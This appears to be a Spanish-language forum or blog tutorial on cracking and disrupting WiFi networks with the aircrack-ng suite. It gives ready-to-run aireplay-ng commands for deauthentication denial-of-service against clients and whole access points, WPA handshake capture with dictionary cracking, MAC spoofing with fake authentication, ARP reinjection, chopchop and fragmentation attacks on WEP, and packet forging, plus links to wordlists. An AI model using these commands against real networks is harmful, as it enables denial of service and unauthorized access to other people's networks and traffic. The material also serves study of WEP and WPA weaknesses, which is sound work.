[AIREPLAY-NG]~
El aireplay es el programa que va a inyectar paquetes 802.11. Aireplay-ng implementa 6 ataques diferentes:
-Ataque 0: Ataque de deautenticación.
-Ataque 1: Ataque de autenticación falsa.
-Ataque 2: Reenvío interactivo de paquetes.
-Ataque 3: Reinyección de petición ARP
-Ataque 4: Ataque "chopchop" de Korek.
-Ataque 5: Ataque de framentación.
ATAQUE 0: DEAUTENTICACIÓN
El ataque 0 de deautenticación, tiene como objetivo, deautenticar al cliente conectado al AP. La sintaxis de este ataque es la siguiente:
aireplay-ng -0 N -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY interfaz
Paso a explicar lo que hemos puesto:
-0: Indica que vamos a hacer el ataque "0" o de deautenticación de cliente.
N: Es un número. Con él indicaremos cuantos paquetes de deautenticación enviaremos.
-a XX:XX:XX:XX:XX:XX: "-a" indica el AP y XX:XX:XX:XX:XX:XX es el BSSID o la dirección MAC del AP.
-c YY:YY:YY:YY:YY:YY: "-c" indica al cliente y YY:YY:YY:YY:YY:YY es la MAC del cliente asociado al AP.
interfaz: es la interfaz de nuestra tarjeta. Para saberla recordad el capítulo anterior (iwconfig).
Ataque DoS (Denegación de Servicio): Muchos de vosotros ya sabéis lo que es un ataque de Denegación de Servicio, si no lo sabes entra aquí
DENEGACIÓN DE SERVICIO que te lo explica muy bien. De lo que estoy seguro, es de que muchos de vosotros ni siquiera sabíais que se podían hacer ataques DoS a clientes asociados a puntos de acceso (AP). Pongamos un BSSID (00:89:4F:D2:15:A3), un cliente asociado con MAC (00:14:D8:7F:B1:96) y una tarjeta con chipset Zydas. El ataque sería así:
aireplay-ng -0 0 -a 00:89:4F:D2:15:A3 -c 00:14:D8:7F:B1:96 eth1
Lo que estaríamos haciendo es crear un bucle infinito de paquetes de deautenticación, con lo que impediríamos el cliente conectarse al AP. También podemos hacer un DoS generalizado, de tal forma que solo ataquemos al AP. Con esto impediríamos la conexión a todos los clientes que quisieran asociarse al AP. Esto se haría mediante el siguiente comando:
aireplay-ng -0 0 -a 00:89:4F:D2:15:A3 eth1
Como véis, sólo hemos puesto la MAC del router. Esto impediría conectarse a cualquiera. Esto es una captura de pantalla del ataque ^^:
Captura del Handshake (Saludo) WPA:Lo primero de todo, definimos Handshake. Cada vez que un cliente se conecta a una red con cifrado WPA, envía un paquete-saludo, o Handshake al AP al que se va a conectar. Este paquete-saludo contiene la contraseña cifrada. Para capturarlo, tratariamos de desconectar al cliente y estar al acecho para capturar ese Handshake. Mas tarde, intentaríamos crackear ese Handshake para obtener la contraseña. Veámoslo en el siguiente ejemplo:
airodump-ng --write chipichape --channel 6 eth1
aireplay-ng -0 20 -a 00:89:4F:D2:15:A3 -c 00:14:D8:7F:B1:96 eth1
aircrack-ng -w /ruta/al/diccionario chipichape-01.cap
Paso a continuación a describir cada comando:
airodump-ng --write chipichape --channel 6 eth1------>Este comando pondría el airodump-ng a la escucha en el canal 6 y escribiría en un archivo llamado chipichape-01.cap los resultados de los paquetes obtenidos.
aireplay-ng -0 20 -a 00:89:4F:D2:15:A3 -c 00:14:D8:7F:B1:96 eth1----->Este comando enviaría 20 paquetes de deauntenticación. Si tras hacer esto no hemos conseguido deautenticar al cliente, ponemos más.
aircrack-ng -w /ruta/al/diccionario chipichape-01.cap (este comando crackearía, o al menos lo intentaría con ayuda de un diccionario, el archivo chop-01.cap con la clave cifrada WPA y con la ayuda de un diccionario. No os hagáis ilusiones, porque no es tan fácil crackear las redes WPA. Si no tenéis diccionarios os pongo unos links donde podréis encontrar:
http://www.cotse.com/tools/wordlists1.htmhttp://www.cotse.com/tools/wordlists2.htmhttp://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/A continuación una demostración con imágenes del proceso. En ellas podemos ver como nos pide un diccionario para poder crackear la clave
.
1.- Ejecutamos el comando airodump-ng:
Nos saldrá esta imagen:
2.- Ejecutamos el comando aireplay-ng:
3.- Crackeamos con aircrack-ng:
Como podéis ver no me ha dejado crackearla porque no he especificado la ruta de ningún diccionario.
Generación de peticiones ARP:Muchas veces, al realizar el ataque3 (lo veremos más adelante
) vemos que las peticiones ARP no arrancan, es decir, se quedan a 0. Lo que tenemos que hacer entonces es generar peticiones ARP. Para ello, primero ejecutaremos el ataque 3, como lo habríamos hecho de forma normal.
aireplay-ng -3 -b 00:89:4F:D2:15:A3 -h 00:14:D8:7F:B1:96 eth1
Se nos abriría una ventana como esta:
Entonces lo que tendríamos que hacer es provocar esa petición ARP. Para ello haríamos un DoS en una consola a parte y esperaríamos a que se generase la primera petición ARP. Una vez se hubiese generado la primera, iríamos a la consola que está realizando el ataque DoS y pulsaríamos Ctrl+C para pararlo. Ahora iríamos a la consola que está realizando el ataque 3 y veríamos como las peticiones ARP están subiendo a toda leche ^^. La mayoría de la gente no hace este ataque así, si no que se dedica a poner un valor númerico en el ataque de deautenticación, generando un así un número de paquetes de deautenticación directamente proporcional al estipulado. El contra de esta técnica es que muchas veces con unos pocos paquetes de deautenticación no conseguimos nada, lo que tenemos que hacer es enviar unos cuantos hasta que veamos que obtenemos la primera petición ARP.
ATAQUE 1: AUTENTICACIÓN FALSA
A muchos de vosotros os habrá pasado, o si no os ha pasado os aseguro que os pasará, que queréis crackear una red inalámbrica y no hay clientes conectados. El hecho de que haya un cliente conectado a la red objetivo facilita mucho, pero que mucho la tarea. Desgraciádamente, no siempre es así y para ello tenemos que hacer uso de tretas y de nuestro ingenio (bueno, aquí el ingenio lo pone el programa
) para poder iniciar el ataque sin clientes asociados.
Aireplay-ng implementa un tipo de ataque llamado "Autenticación falsa" que como estaréis suponiendo, nos viene de perlas en casos como este ^^. Lo que vamos a hacer por medio de este ataque es hacernos pasar por un falso cliente. Para ello, es recomendable que fakeemos nuestra MAC. Esto se puede hacer de varios modos.
Modo 1: Por medio del "macchanger" (interfaz):
Menú--Wifislax--HerramientasWireless--macchanger
Modo 2: Por medio del "macchanger" (consola):
macchanger -m 00:11:22:33:44:55 interfaz
Modo 3: Por medio de "ifconfig" (consola):
ifconfig interfaz down
ifconfig interfaz hw ether 00:11:22:33:44:55
ifconfig interfaz up
Una vez hemos cambiado fakeado nuestra mac, procedemos a autenticarnos como falso cliente. La sintaxis del comando será la siguiente:
aireplay-ng -1 N -e "ESSID" -a XX:XX:XX:XX:XX:XX -h FF:FF:FF:FF:FF:FF interfaz
Paso a explicar la sintaxis:
-1= Con esto indicamos que vamos a hacer el ataque 1 o "Autenticación falsa".
N= Es un número. Con él indicamos el intervalo de tiempo con el que queremos asociarnos a nuestro AP. Por ejemplo, si queremos asociarnos cada 10 segundos, mandará un paquete de asociación falsa cada 10 segundos.
-e= "ESSID": Aquí estamos indicando el nombre del AP al que queremos asociarnos como falsos clientes, eso sí, ¡¡¡las comillas NO se ponen!!!
-a XX:XX:XX:XX:XX:XX= Aquí indicaremos el BSSID, es decir, la MAC del AP.
-h FF:FF:FF:FF:FF:FF= Aquí indicamos al MAC fakeada por nosotros mismos. En nuestro caso "00:11:22:33:44:55".
interfaz= Vuestra interfaz
Veámoslo con un ejemplo:
ASPECTOS A TENER EN CUENTA:
1.-Este ataque no siempre es eficaz. Existen routers con los que no funciona. De hecho hay routers que requieren autenticación cada X periodo de tiempo... el problema está en saber qué periodo de tiempo es el que tienen configurado. Por normal general, son 30 segundos.
2.- Para que este ataque funcione hay que tener activo el airodump-ng. ¿Por qué? Pues porque como os dije, el airodump-ng es el encargado de la captura de paquetes y para que este ataque se inicie necesitaremos un Beacon. ¿Qué es un Beacon? es un paquete saludo que envía el AP para decirnos: "Eh! que estoy aquí!" ¿recordáis?
3.- Tenemos que configurar la tarjeta para el mismo canal del AP. ¿Cómo? Pues no sé si lo recordaréis... ¡con el airmon-ng!
airmon-ng start interfaz canal
4.- Este ataque por si sólo no consigue nada. Tenemos que combinarlo con el ataque 3 o con el ataque 4, que los veremos en seguida.
CAUSAS DE UN POSIBLE FRACASO:
1.- El router tiene filtrado de MACs.
2.- Estás demasiado cerca o demasiado lejos del AP.
3.- Tu controlador no está correctamente parcheado e instalado (con las live-cd's como Wifislax, Wifiway o Backtrack no os pasará ya que traen los drivers instalados y parcheados).
4.- La tarjeta no está configurada en el mismo canal que el AP.
5.- Hemos introducido mal el BSSID o/y el ESSID.
ATAQUE 2: REENVÍO INTERACTIVO DE PAQUETES
Antes de empezar deciros que en este capítulo, usaremos BackTrack 3. Os preguntaréis, ¿Por qué? Pues por dos razones:
1.- No está de más conocer otras live-cd's. No os preocupéis,
el procedimiento es el mismo.2.- Me he comprado tarjeta nueva y de momento no puedo usar el wifislax con ella
, así que usaremos BackTrack 3.
Ahora al grano
, este ataque puede resultarnos muy útil. Consiste en ponernos a la escucha, escoger un paquete y una vez elegido, inyectarlo. Esto lo podremos hacer, o bien con el paquete que hayamos capturado al estar a la escucha, o seleccionando uno que hayamos conseguido previamente, que estará en formato *.cap. Paso a explicar la sintaxis de este ataque:
aireplay-ng -2 <opciones de filtro> <opciones de envío> -r <nombre del archivo a enviar> interfaz
-2= Indica que estamos realizando el ataque 2 "Reenvío interactivo de paquetes".
<opciones de filtro>= Sirven para filtrar los paquetes que vamos a recibir.
<opciones de envío>= Sirven para configurar nuestra inyección.
-r<nombre de archivo>= Esto es opcional. Se utiliza sólo cuando queremos especificar un archivo *.cap para leer los paquetes e inyectarlos.
interfaz: Tu interfaz wireless (eth1, ath0...).
1.- Usándolo para radiodifundir los paquetes del AP y generar nuevos IV's (Vectores de Inicialización)Uno de los modos de usar este ataque es haciendo una difusión de los paquetes del AP y así generar nuevos vectores de inicialización. Vale, tranquilos, imagino que muchos de vosotros no habréis entendido nada de lo que he dicho. No os preocupéis, yo os lo explico ^^. Cuando hablamos de hacer una difusión, hablamos de hacer un broadcast (difusión en inglés). ¿Cómo, que estáis en las mismas? ¡pues no os preocupéis! Un broadcast, es un modo de transmision de información en el que intervienen un nodo emisor y un nodo receptor. El nodo emisor envía información a una multitud de nodos receptores de manera simultánea sin necesidad de reproducir la misma transmisión nodo por nodo. Las redes de área local, se basan en el uso de un medio de transmisión compartido y por eso mismo, se puede difundir cualquier trama de datos a todas las estaciones que estén en el mismo segmento de red. Sin embargo, para hacer esto posible, necesitaríamos una dirección MAC especial, una que englobara a todas las MAC's. Esta mac es la FF:FF:FF:FF:FF:FF. Todos los nodos receptores y emisores procesan las tramas con dicha dirección así que no os preocupéis
. De hecho los routers, de vez en cuando, envían paquetes a la dirección FF:FF:FF:FF:FF:FF (por ejemplo, los beacons
). Veamos un ejemplo de este ataque:
aireplay-ng -2 -p 0841 -b XX:XX:XX:XX:XX:XX -c FF:FF:FF:FF:FF:FF -h YY:YY:YY:YY:YY:YY interfaz
Paso a explicar el comando:
-2= Estamos indicando que vamos a realizar el ataque 2 (reenvío interactivo de paquetes).
-p 0841= Con esto estamos fijando el "Frame Control" en el paquete. De esta manera, parecerá que está siendo enviado desde un cliente.
-b XX:XX:XX:XX:XX:XX= Esta MAC deberá corresponder con el BSSID, es decir, la MAC del AP.
-c FF:FF:FF:FF:FF:FF= Esto lo hemos explicado antes. Es la MAC especial
. Con ella estamos especificando como MAC de destino cualquiera. Gracias a ello, el AP responderá con otro paquete y generará un nuevo vector de inicialización (IV).
-h YY:YY:YY:YY:YY:YY= Esta será la MAC de nuestra tarjeta, es decir, la dirección física desde la cual provienen los paquetes que vamos a reenviar. Recomiendo fakearla.
interfaz= Tu interfaz wifi.
Vamos a ver un ejemplo:
Hay que tener en cuenta, que cuanto mayor sea el paquete que vamos a reenviar, mas lenta será la inyección. Si queremos, tenemos la opción de establecer un filtro para el tamaño del paquete. Esto nos abre el camino al siguiente ataque.
2.- Reenvío de peticiones ARP con cifrado WEP.
En este ataque, usaremos un filtro para indicar el tamaño del paquete que queremos inyectar. Como lo que queremos es inyectar peticiones ARP, en el filtro tendremos que determinar un tamaño mínimo y un tamaño máximo equivalente al de una petición ARP. Las peticiones ARP suelen tener un tamaño de 68 bytes cuando es un cliente wireless y 86 bytes cuando es un cliente cableado. Nosotros por tanto usaremos un filtro en el que los paquetes no bajen de 68 bytes pero no superen los 86 bytes.
aireplay-ng -2 -p 0841 -m 68 -n 86 -b XX:XX:XX:XX:XX:XX -c FF:FF:FF:FF:FF:FF -h YY:YY:YY:YY:YY:YY interfaz
Procedo a explicar lo que hemos puesto:
-2= Con esto indicamos que vamos a hacer el ataque 2 (reenvío interactivo de paquetes).
-p 0841= Con esto estamos fijando el "Frame Control" en el paquete. De esta manera, parecerá que está siendo enviado desde un cliente.
-m 68= Indicamos la longitud mínima del paquete.
-n 86= Indicamos la longitud máxima del paquete
-c FF:FF:FF:FF:FF:FF fija la dirección MAC de destino como cualquiera (broadcast). Esto se requiere para que el AP conteste al paquete y así generar el nuevo IV.
-b XX:XX:XX:XX:XX:XX= Esta MAC deberá corresponder con el BSSID, es decir, la MAC del AP.
-h YY:YY:YY:YY:YY:YY= Esta será la MAC de nuestra tarjeta, es decir, la dirección física desde la cual provienen los paquetes que vamos a reenviar. Recomiendo fakearla.
interfaz= Tu interfaz wifi.
Veámoslo en el siguiente ejemplo:
Nota: Si quisieramos enviar un paquete *.cap préviamente guardado, lo haríamos de la siguiente manera:
aireplay-ng -2 -p 0841 -b XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY -r nombrearchivo.cap interfaz
Veámoslo en la siguiente imagen:
Si os fijáis, el paquete que hemos seleccionado para enviar es el mismo que hemos capturado en el primer ejemplo ^^.
ATAQUE 3: REINYECCIÓN DE PETICIONES ARP
Este ataque es un clásico y sin lugar a dudas, es el modo más efectivo de generar nuevos vectores de inicialización (IV's). El ataque de reenvío de peticiones ARP, o ARP request, funciona poniéndo aireplay-ng a la escucha de un paquete ARP y enviándolo de nuevo al AP. Esto va a tener como consecuencia que el punto de acceso tenga que volver a enviar un paquete ARP pero esta vez, con un vector de inicialización nuevo
. Muchos diréis: ¿Y eso de que nos sirve? Pues ya que estoy, voy a aprovechar para hablar un poco sobre los IV's (vectores de inicialización).
Las claves con cifrado WEP utilizan un algoritmo de cifrado llamado RC4 de 64 bits (bueno, eso inicialmente, ahora podemos encontar de 128 y de 256). La forma en la que está compuestos estos 64 bits es la siguiente:
1.- 24 bits correspondientes a un vector de inicialización (IV)
2.- 40 bits correspondientes a la contraseña.
El vector de inicialización se genera de forma dinámica y varía para cada trama. Lo que se pretende con los vectores de inicialización es cifrar los paquetes con claves diferentes para que una tercera persona con malas intenciones (¿nosotros? no, solo testeamos nuestra red wifi
) no acabe deduciendo la clave. Con un solo paquete, las posibilidades de hallar la clave, si mal no recuerdo, son de 1/17.000.000. Eso supone años y que el pc se te estropée si te pasas de tiempo con el aircrack. Por esta misma razón,cuantos más IV's distintos, más posibilidades tendremos de descifrar la clave! Os pongo un link en el que se habla bastante más sobre el
CIFRADO WEP.
En cuanto al protocolo ARP, o Adress Resolution Protocol, debéis saber que es un protocolo que tiene como función localizar direcciones MAC y hacer que éstas correspondan con una dirección IP. Las peticiones ARP,se enviarán a la dirección FF:FF:FF:FF:FF:FF, ¿recordáis?
esperando una respuesta con la dirección MAC que corresponda. Bueno en este enlace os explicaN mucho mejor el
ARP.
Vamos a proceder ahora a explicar la sintaxis de este ataque:
aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz
De aquí:
-3= Estamos diciendo a aireplay que vamos a comenzar el ataque 3 (reenvío de peticiones ARP).
-b XX:XX:XX:XX:XX:XX= Esto es la dirección MAC del AP o BSSID.
-h YY:YY:YY:YY:YY:YY= Esto es la dirección MAC del cliente asociado al AP. Aquí podríamos poner un cliente real o un cliente falso (recordad el ataque -1
).
interfaz= Es el nombre de tu interfaz wifi.
Con este ataque, del mismo modo que en el ataque -2 (reenvío de paquetes interactivo) podemos seleccionar una ARP anteriormente guardada. Lo haríamos de la siguiente manera:
aireplay-ng -2 -r nombredearchivo.cap -a XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 interfaz
Traduciendo:
-2= significa que estamos haciendo el ataque -2 (reenvío interactivo de paquetes)
-a= BSSID
-h= Nuestra MAC (fakeada a poder ser
)
-r nombredelarchivo.cap= Con esto indicamos el nombre del paquete ARP a enviar.
interfaz= Tu interfaz wifi.
Como ya he dicho antes, este ataque puede ser usado de 3 maneras:
1.- Con cliente asociado:Lo que haremos aquí será, utilizar un cliente que esté conectado al AP y captar una petición ARP para después reenviarla. Sin duda, de los tres, es el más efectivo. Esto lo haríamos así:
aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz
Así el sistema responderá con:
Saving ARP requests in archivo.cap
You should also start airodump-ng to capture replies.
Read 42 packets (got 0 ARP requests), sent 0 packets...
No olvidéis que si no os captura ninguna ARP, podéis tirar de un ataque DoS para así desautenticar al cliente asociado y que vuelva a haber una petición ARP
.
2.- Con cliente falso asociado:Aquí vamos a conjugar dos ataques, el -3 para capturar la petición ARP y el -1 para crear un cliente falso (no olvidéis fakear la MAC). El ataque sería el siguiente:
Por un lado escribiríamos en una consola el siguiente comando:
aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz
Donde YY:YY:YY:YY:YY:YY sería nuestra MAC fakeada (00:11:22:33:44:55).
Por otro lado escribiríamos:
aireplay-ng -1 N -e ESSID -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz
Donde YY:YY:YY:YY:YY:YY también sería nuestra MAC fakeada.
Veríamos algo así:
3.- Utilizando una petición ARP previamente guardada:Aquí usaremos el ataque -2:
aireplay-ng -2 -r nombredearchivo.cap -a XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 interfaz
Veamos la siguiente imagen:
Esto ya lo explicamos anteriormente así que no vuelvo a sacar el tema jeje
.
ATAQUE 4: CHOPCHOP DE KOREK (PASO A PASO)
El ataque chopchop de Korek es capaz de descifrar un solo paquete de datos WEP, ya sea de clave estática o dinámica, revelando el texto plano. No hay muchos tutoriales en la red que expliquen este ataque y los que hay no lo explican muy bien. Por esa razón he decidido dedicar su tiempo a realizar esta guía de como y cuando utilizar un ataque chopchop, explicándolo todo pasito a pasito;-) eso sí, no os preocupéis si os perdéis un poco en este tema ya que es algo más complejo que los anteriores. Bueno vamos a empezar con un ejemplo práctico para comprenderlo mejor.
Lo primero que tenemos que hacer es poner en modo monitor nuestra tarjeta y fakearla. Yo lo voy a hacer con una chipset atheros por lo que el procedimiento será el siguiente:
airmon-ng stop ath0
macchanger -m 00:11:22:33:44:55 wifi0
airmon-ng start wifi0
http://i35.servimg.com/u/f35/11/75/25/89/chop110.png
Iniciamos airodump-ng (primero sin opcioens de filtro y luego así):
airodump-ng --channel N --w pruebaIH interfaz
Digo que lo iniciemos primero sin opciones de filtro, para poder así ver en que canal está nuestro AP y una vez sabido escribir en un archivo llamado infiernohacker-01.cap los paquetes obtenidos.
En una situación normal, nosotros podríamos tener dos posibilidades:
1.- Que tuvieramos un cliente conectado al AP.
2.- Que NO tuvieramos ningún cliente conectado al AP. En este caso tendríamos que hacer un ataque -1 (autenticación falsa) para poder sacar la clave.
Bien pues en mi caso si que había un cliente asociado pero también explicaré lo que habría que hacer si no hubiese ninguno. Seguimos con lo nuestro, una vez iniciado el airodump-ng, realizamos el ataque -3 para estar a la escucha de peticiones ARP. Nos autenticaremos posteriormente de forma falsa en caso de que no haya clientes con el ataque -1 (en caso de haberlos no hace falta hacerlo y sustituiremos en el comando la dirección fakeada por la del cliente asociado). Antes de hacer este ataque, tendremos que haber fakeado nuestra MAC! Como nosotros ya la hemos fakeado, haremos el ataque -3 y nos pondremos a la escucha de peticiones ARP:
aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 interfaz
Una vez iniciado el aireplay-ng -3, procedemos a autenticarnos con el ataque -1 (autenticación falsa)
en el susodicho caso de que no tuvieramos clientes conectados.aireplay-ng -1 30 -e BSSID -a XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 interfaz
Ya vimos anteriormente lo que significaba cada una de las partes de este comando.
En un ataque exitoso, capturaríamos un paquete con una petición ARP y la reinyectaríamos con el ataque -3. Sin embargo esto no siempre es así. ¿Recordáis que os dije que cuando tenemos un cliente asociado y no obtenemos una ARP request, lo que tenemos que hacer es atacar con un DoS al cliente para forzar la petición ARP? Pues esto no es aplicable a una asociación falsa, por lo tanto este es un momento idóneo para poner en práctica el ataque chopchop. Yo en este ejemplo, no he hecho una autenticación falsa debido a que tenía un cliente conectado ya que de esta forma es más fácil capturar paquetes. Recordad que estos paquetes se estarán guardando en el archivo infiernohacker-01.cap. Ahora lo que tenemos que hacer es realizar el ataque -4 para descifrar el paquete y poder generar nuestra propia petición ARP que reinyectaremos más adelante
. Para ello utilizaremos el siguiente código:
aireplay-ng -4 -h 00:11:22:33:44:55 -r archivoguardado.cap interfaz
Paso a explicar el comando:
-4= Significa que vamos a realizar el ataque 4 (Chopchop de Korek).
-h 00:11:22:33:44:55= Estemos indicando cual es la dirección física del cliente conectado. Ya sabéis, si no había cliente asociado usáis la vuestra (fakeada) y si lo había pues la del cliente. Esto se debe a que los AP's no aceptan paquetes de datos que provengan de MAC's "desconocidas".
-r archivoguardo.cap= Aquí estamos indicando que vamos a mandarle uno de los paquetes que hayamos capturado y guardado en el archivo *.cap. En nuestro caso pruebaIH-01.cap
interfaz= Tu interfaz wifi.
Esto lanzará el ataque:
Al cabo de un rato, habrá descifrado el paquete y nos mostrará lo siguiente:
Si os fijáis, una vez ha terminado el proceso, nos guarda en un archivo *.cap (el texto plano) y en un archivo *.xor (el keystream). Bueno pues ahora lo que vamos a hacer es usar el packetforge-ng que sirve para crear paquetes. Sin embargo, necesitamos saber para ello la dirección privada del cliente conectado y para ello vamos a hacer uso del tcpdump. Para los que no sepáis lo que es,
tcpdump, es una herramienta que esta presente en todas las distros GNU/linux y también en Mac OS y que sirve para analizar el tráfico que circula por la red haciendo uso de la librería libpcap para capturar los paquetes. En Windows existe WinDump que utiliza la librería Winpcap. El comando a ejecutar sería el siguiente:
tcpdump -s 0 -n -e -r archivochop.cap
Esto nos dará la dirección IP del cliente conectado, justo lo que necesitábamos para elaborar nuestra propia petición ARP
. Usaremos entonces el packetforge-ng para "forjar" nuestra propia ARP request]:
packetforge-ng -0 -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY -k IPdestino -l IPorigen arp.cap -y archivochop.xor -w arptuneada.cap
De aquí:
archivo.xor= Es uno de los dos archivos que nos dará el ataque -4 (el otro es el archivochop.cap
) y que contendrá el Keystream.
-0= Indicamosque vamos a forjar un paquete ARP.
-a XX:XX:XX:XX:XX:XX= BSSID
-h YY:YY:YY:YY:YY:YY= MAC del cliente asociado.
-k IPdestino= Es la IP del router.
-l IPorigen= Es la IP del cliente conectado (previamente sacada con el tcpdump).
-y archivochop.xor= Este es el paquete que hemos obtenido con el ataque chopchop.
-w arptuneada= Aquí vamos a poner un nombre a nuestro nuevo paquete. Yo le he llamado arptuneada pero si queréis vosotros podéis llamarle Rosa
.
Bien, ¡¡YA TENEMOS NUESTRA PROPIA PETICIÓN ARP!!. Lo que tenemos que hacer ahora es enviar el paquete a nuestro AP. ¿Cómo? Venga haz memoria! con el ataque 2 (reenvío de paquetes interactivo).
aireplay-ng -2 -r arptuneada.cap interfaz
ATAQUE 5: FRAGMENTACIÓN
El ataque de Fragmentación consiste en capturar un PRGA, para después mediante el paquetforge-ng, "forjar" paquetes que enviaremos a nuestra victima. Lo primero de todo, ¿Qué es el PRGA? Son las siglas de Pseudo Random Generation Algorithm y se utiliza en las redes wifi para aumentar la seguridad. El PRGA es una parte de un paquete que está formada por texto plano y texto cifrado. El procedimiento de este ataque es bastante parecido al Chopchop de Korek así que lo explicaré más por encima, indicandoos por supuesto los pasos en común con el ataque visto anteriormente.
Para empezar, deciros que este ataque sólo funciona con cifrado WEP y por lo que he leido en varios papers en inglés, los routers que se resisten a los ataques Chopchop de Korek son más vulnerables ante los ataques de Fragmentación. Lo primero que haremos será poner nuestra tarjeta en modo monitor:
No creo que haga falta explicar este comando de nuevo. Después, iniciamos airodump-ng para capturar paquetes:
airodump-ng --channel --w prueba ath0
Bien, llegados a este punto, necesitamos un cliente conectado. Ya sabéis, si tenéis alguien conectado, genial, si no, hacéis una autenticación falsa (-1) y ya está. Una vez nos hemos autenticado de forma falsa o no lo hemos hecho porque ya teníamos un cliente conectado, procedemos a hacer el ataque de Fragmentación:
[aireplay-ng -5 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz]
Explico el comando:
-5= Especificamos a aireplay-ng que vamos a realizar el ataque 5.
-b XX:XX:XX:XX:XX:XX= Es el BSSID del AP.
-h YY:YY:YY:YY:YY:YY= Es la dirección MAC del cliente conectado.
interfaz= Tu interfaz wifi.
El ataque empezará a leer paquetes y seleccionará uno que será fragmentado y mandado al AP. Si el AP responde, el ataque habrá sido exitoso y se irán obteniendo bits hasta obtener los 1500 bits de un PRGA. Una vez obtenidos los 1500 bits, el programa nos informará de que ya tenemos nuestro xor y podremos empezar a forjar nuestros paquetes con el packetforge-ng. Este ataque no tiene éxito siempre, de hecho no he conseguido que me saliera en toda la tarde pero aún así, os pongo una captura de pantalla (propia) y el mensaje que nos tendría que salir al conseguir los 1500 bits del keystream.
Saving chosen packet in replay_src-0124-161120.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Una vez hemos conseguido nuestro xor, con el paquetforge-ng realizamos una petición ARP y la reinyectamos con el ataque -2 tal y como hizimos con el ataque Chopchop.